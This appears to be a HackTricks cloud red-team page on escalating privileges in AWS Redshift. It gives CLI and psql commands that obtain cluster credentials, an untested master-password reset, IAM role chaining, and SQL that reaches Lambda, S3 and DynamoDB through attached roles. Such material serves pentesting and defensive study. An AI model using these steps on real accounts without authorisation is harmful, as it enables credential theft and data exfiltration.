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AWS - Redshift Privesc

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Redshift

For more information about RDS check:

redshift:DescribeClusters, redshift:GetClusterCredentials

With these permissions you can get info of all the clusters (including name and cluster username) and get credentials to access it:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Potential Impact: Find sensitive info inside the databases.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

With these permissions you can get info of all the clusters and get credentials to access it. Note that the postgres user will have the permissions that the IAM identity used to get the credentials has.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Potential Impact: Find sensitive info inside the databases.

redshift:DescribeClusters, redshift:ModifyCluster?

It's possible to modify the master password of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Potential Impact: Find sensitive info inside the databases.

Accessing External Services

To access all the following resources, you will need to specify the role to use. A Redshift cluster can have assigned a list of AWS roles that you can use if you know the ARN or you can just set "default" to use the default one assigned.
Moreover, as explained here, Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just separating them with a comma: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, it's possible to call a lambda function from redshift with something like:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

As explained in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, it's possible to read and write into S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

As explained in https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, it's possible to get data from dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the REGION option to specify the AWS Region in which the Amazon DynamoDB table is located.

EMR

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: